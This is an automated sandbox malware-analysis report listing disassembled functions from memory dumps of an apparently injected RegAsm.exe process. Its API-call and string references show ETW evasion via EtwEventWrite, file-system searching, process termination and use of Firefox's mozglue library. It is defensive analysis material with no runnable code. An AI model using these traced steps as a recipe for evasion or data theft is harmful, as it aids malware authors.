Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceRelease
String ID: DISPLAY
API String ID: 1843228801-865373369
Opcode ID: 33e81c7ac2b4efe58422cce53f5375a4bbf1907aa3336fb1fd9e34ea2f4a14f5
Instruction ID: 8e30a772f34bc18014c8bc65a96e37b09177bab2fcbbd7f13fbecb9c10718287
Opcode Fuzzy Hash: 33e81c7ac2b4efe58422cce53f5375a4bbf1907aa3336fb1fd9e34ea2f4a14f5
Instruction Fuzzy Hash: E1D012353C030477F1782B50BC5FF1A2934D7C5F02F201124F311980D046A41402963E

Function 004018B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 004018BA
GetProcAddress.KERNEL32(00000000,EtwEventWrite), ref: 004018CB

Strings

ntdll.dll, xrefs: 004018B5
EtwEventWrite, xrefs: 004018C5

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: EtwEventWrite$ntdll.dll
API String ID: 1646373207-1851843765
Opcode ID: 261c854949ff6dc680d122a3d916ecaabb97ff76cf6ffc3eb231d92ebdcf5f21
Instruction ID: 332e91eb672bb2521264d8136dfbe431d36f664d63eccb5b174788cf7ccf42d0
Opcode Fuzzy Hash: 261c854949ff6dc680d122a3d916ecaabb97ff76cf6ffc3eb231d92ebdcf5f21
Instruction Fuzzy Hash: 7AB092607C0340979E146B766E9DB0626687A94B437987162B18AD01B0D7BC8024AB1E

Function 6C140C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C140CD5

Part of subcall function 6C12F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C12F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C140D40
free.MOZGLUE ref: 6C140DCB

Part of subcall function 6C115E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C115EDB
Part of subcall function 6C115E90: memset.VCRUNTIME140(6C157765,000000E5,55CCCCCC), ref: 6C115F27
Part of subcall function 6C115E90: LeaveCriticalSection.KERNEL32(?), ref: 6C115FB2

free.MOZGLUE ref: 6C140DDD
free.MOZGLUE ref: 6C140DF2

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 5e904a15f61b0b7a6cee2a7ad79ff8ea1eb06734d42c7ce7655103fc7dd0f157
Instruction ID: 72c1d5a7855ced7d9e3944bb67d07c77013c4d8c6d9f3517186d72dc35baa168
Opcode Fuzzy Hash: 5e904a15f61b0b7a6cee2a7ad79ff8ea1eb06734d42c7ce7655103fc7dd0f157
Instruction Fuzzy Hash: 16412B759097808BD720CF2AC04079AFBE5BFD9714F118A2EE8D887B50D7749889CB92

Function 6C14CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C13DA31,00100000,?,?,00000000,?), ref: 6C14CDA4

Part of subcall function 6C10CA10: malloc.MOZGLUE(?), ref: 6C10CA26

Part of subcall function 6C14D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C14CDBA,00100000,?,00000000,?,6C13DA31,00100000,?,?,00000000,?), ref: 6C14D158
Part of subcall function 6C14D130: InitializeConditionVariable.KERNEL32(00000098,?,6C14CDBA,00100000,?,00000000,?,6C13DA31,00100000,?,?,00000000,?), ref: 6C14D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C13DA31,00100000,?,?,00000000,?), ref: 6C14CDC4

Part of subcall function 6C147480: ReleaseSRWLockExclusive.KERNEL32(?,6C1515FC,?,?,?,?,6C1515FC,?), ref: 6C1474EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C13DA31,00100000,?,?,00000000,?), ref: 6C14CECC

Part of subcall function 6C10CA10: mozalloc_abort.MOZGLUE(?), ref: 6C10CAA2

Part of subcall function 6C13CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C14CEEA,?,?,?,?,00000000,?,6C13DA31,00100000,?,?,00000000), ref: 6C13CB57
Part of subcall function 6C13CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C13CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C14CEEA,?,?), ref: 6C13CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C13DA31,00100000,?,?,00000000,?), ref: 6C14D058

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: ff79eb00377d4f3b6002fd8f2bc4abb1b53e4c0a969a2e503874fcd236673f56
Instruction ID: 2301c9f680b726d251a0bb3033c189ddc9b5729e4a233c1b1d243c76e3a3f4a7
Opcode Fuzzy Hash: ff79eb00377d4f3b6002fd8f2bc4abb1b53e4c0a969a2e503874fcd236673f56
Instruction Fuzzy Hash: 4AD17E71A04B069FD708DF28C490B99F7E1BF99308F01866DD9598B712EB31E9A5CBC1

Function 6C115C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C115D40
EnterCriticalSection.KERNEL32(6C17F688), ref: 6C115D67
__aulldiv.LIBCMT ref: 6C115DB4
LeaveCriticalSection.KERNEL32(6C17F688), ref: 6C115DED

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 3982aef6c26478b94ccfec4bcb9a49ad0b0c05295aa8272d9a2aa756811ff5c5
Instruction ID: 2b1d975b1165debc4fb72e4d8958ac49b59d2effe0784e41f76e67f42a6c7bf7
Opcode Fuzzy Hash: 3982aef6c26478b94ccfec4bcb9a49ad0b0c05295aa8272d9a2aa756811ff5c5
Instruction Fuzzy Hash: CA517271E041298FDF09CF68C855ABFBBB2FB85304F1A462DD821A7B50D7346946CBA0

Function 00425291 Relevance: 6.1, APIs: 4, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004252C4
_siglookup.LIBCMT ref: 004252EB
DecodePointer.KERNEL32(?), ref: 00425343
__lock.LIBCMT ref: 0042536A

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: DecodePointer__getptd_noexit__lock_siglookup
String ID:
API String ID: 2847133137-0
Opcode ID: 5587afdc2172d60b486c856e60f4b1e84dcf763d1e36127c6b9a4a6fcb30b756
Instruction ID: fde2ba35bd38464d759b1b993c78f8d9f2999b4e156317b38ed8a1cf39d9118a
Opcode Fuzzy Hash: 5587afdc2172d60b486c856e60f4b1e84dcf763d1e36127c6b9a4a6fcb30b756
Instruction Fuzzy Hash: 0D418071F00B25DBCB28EF68E8845ADB670BB44355BA0512BD801E7791C7B89C41CB6D

Function 6C0FCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0FCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C0FCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C0FCF4E

Strings

0, xrefs: 6C0FCF30

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: ea51cf4cea42ad9f448f1d5d8a95fe4d6e621fa991301b21c13075d43390be71
Instruction ID: 1c29e6a7089b7972024d73774f4f90a843da66af1c518bfb6555d5df112726af
Opcode Fuzzy Hash: ea51cf4cea42ad9f448f1d5d8a95fe4d6e621fa991301b21c13075d43390be71
Instruction Fuzzy Hash: 6F51FF75A002568FCB10CF18C890BAAFBE5EF99300F198599DC595F792D731AD46CBE0

Function 6C136470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C1382BC,?,?), ref: 6C13649B

Part of subcall function 6C10CA10: malloc.MOZGLUE(?), ref: 6C10CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1364A9

Part of subcall function 6C12FA80: GetCurrentThreadId.KERNEL32 ref: 6C12FA8D
Part of subcall function 6C12FA80: AcquireSRWLockExclusive.KERNEL32(6C17F448), ref: 6C12FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C13653F
free.MOZGLUE(?), ref: 6C13655A

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: e21f9a95c2c0dbc29f5a7702c7a3bc14b5e5af35a9baacabd559af0e39afbf50
Instruction ID: 3ac03e577afd798098430205ace3c846872b3b559e2e9e7252872575d2f1a35f
Opcode Fuzzy Hash: e21f9a95c2c0dbc29f5a7702c7a3bc14b5e5af35a9baacabd559af0e39afbf50
Instruction Fuzzy Hash: 3A3170B5A043159FD700CF14D884A9ABBF4FF99354F10842EE85A97741EB34E919CB92

Function 0041BECA Relevance: 6.1, APIs: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041BF0F
_memmove.LIBCMT ref: 0041BF23
_memmove.LIBCMT ref: 0041BF70
WriteFile.KERNEL32(00000000,?,66FA43AE,?,00000000,033B2528,?,00000001,033B2528,?,0041AFB5,?,00000001,033B2528,66FA43AE,?), ref: 0041BF8F

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memmove$FileWritemalloc
String ID:
API String ID: 803809635-0
Opcode ID: 05578ad4b13f119ef0813348ee963edb825593c69ba736a7b04731ebc7b05488
Instruction ID: f1a1a2233116e7a753b08b9836c7a6d2188e705690670611c9c5f627721e3dc4
Opcode Fuzzy Hash: 05578ad4b13f119ef0813348ee963edb825593c69ba736a7b04731ebc7b05488
Instruction Fuzzy Hash: 32315AB1604604AFDB25CF65D980AA7B7F8FB48354B40852EF94AC7A00DB74F9458F94

Function 004122B0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004122D7

Part of subcall function 00411D61: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
Part of subcall function 00411D61: HeapAlloc.KERNEL32(00000000), ref: 00411D73
Part of subcall function 00411D61: wsprintfW.USER32 ref: 00411D84

OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
CloseHandle.KERNEL32(00000000), ref: 00412392

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminate_memsetwsprintf
String ID:
API String ID: 2224742867-0
Opcode ID: 30a77b79d7308c4b0cce7711bfb0e7a5522f0aa98ec056037a9ae5aca9b15f61
Instruction ID: 588b135e0695d7a37b26689e9b705545647a49d0db6b9c6273211b73d031a9ac
Opcode Fuzzy Hash: 30a77b79d7308c4b0cce7711bfb0e7a5522f0aa98ec056037a9ae5aca9b15f61
Instruction Fuzzy Hash: 08314D72A0121CAFDF219F60DD849EEB7BDEB0A345F0400AAF909E2550D6799F84CF56

Function 0041665F Relevance: 6.1, APIs: 4, Instructions: 73stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 004166A7
lstrcatA.KERNEL32(?,00436B4C), ref: 004166C4
lstrcatA.KERNEL32(?), ref: 004166D7
lstrcatA.KERNEL32(?,00436B50), ref: 004166E9

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID:
API String ID: 153043497-0
Opcode ID: 1ce7a6a64786824d9a854f50bea0f94bdf1a7ca0d76a317500d6b463bba78804
Instruction ID: fd0c193a9a19d4121daff6dcae8f6240a98797df6e701c97ffaf34763230af76
Opcode Fuzzy Hash: 1ce7a6a64786824d9a854f50bea0f94bdf1a7ca0d76a317500d6b463bba78804
Instruction Fuzzy Hash: 8A21B57190021DAFCF54DF60DC46AD9B779EB04305F1040A6F549A3190EEBA9BC48F44

Function 6C10B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C10B4F5
AcquireSRWLockExclusive.KERNEL32(6C17F4B8), ref: 6C10B502
ReleaseSRWLockExclusive.KERNEL32(6C17F4B8), ref: 6C10B542
free.MOZGLUE(?), ref: 6C10B578

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: f8999f26d5ba73d7dc85a4dd793aa4aa67c6269af7c1d9e932d75410d75c27b3
Instruction ID: ae0bbb13732dbc6a4c1f71c564379d8cf7923fa5620837b420ad053cd8f5b16e
Opcode Fuzzy Hash: f8999f26d5ba73d7dc85a4dd793aa4aa67c6269af7c1d9e932d75410d75c27b3
Instruction Fuzzy Hash: B611E130A04B45C7D3128F29C4047A2B3B0FFA6318F10975AE84A53A01EFB4B1D487A0

Function 6C133DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C0FF20E,?), ref: 6C133DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C0FF20E,00000000,?), ref: 6C133DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C133E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C133E0E

Part of subcall function 6C12CC00: GetCurrentProcess.KERNEL32(?,?,6C0F31A7), ref: 6C12CC0D
Part of subcall function 6C12CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C0F31A7), ref: 6C12CC16

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: fef33b20053f060ae8f2027db93042df86aca147557f74590a73390ee98ddf9b
Instruction ID: b9dedd371252d1da4dda4f1a238af4b1ec312b6286f61a85f0644ecbc8186fa5
Opcode Fuzzy Hash: fef33b20053f060ae8f2027db93042df86aca147557f74590a73390ee98ddf9b
Instruction Fuzzy Hash: 22F082715002187BEB01AB54DC85EAB376CDB46628F040020FE0857740D735FD6596F7

Function 00410CC0 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
HeapAlloc.KERNEL32(00000000), ref: 00410CDF
GetLocalTime.KERNEL32(?), ref: 00410CEB
wsprintfA.USER32 ref: 00410D16

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 32fe7cdf56e4caa4684b0912eee33db16c78e3ca909bc679ee1ae79e1ad10f07
Instruction ID: 8330b7e0ab97a76fe0a7a8ba4a90605a953976df745d3243dedcd48857e70ebb
Opcode Fuzzy Hash: 32fe7cdf56e4caa4684b0912eee33db16c78e3ca909bc679ee1ae79e1ad10f07
Instruction Fuzzy Hash: D1F031B1900228BBDF14DFE59C059BF77BCAB0C616F001095F941E2180E6799A80D775

Function 00412166 Relevance: 6.0, APIs: 4, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181
GetFileSizeEx.KERNEL32(00000000,00414FAC,?,?,?,00414FAC,?), ref: 00412199
CloseHandle.KERNEL32(00000000,?,?,?,00414FAC,?), ref: 004121A4
CloseHandle.KERNEL32(00000000,?,?,?,00414FAC,?), ref: 004121AC

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
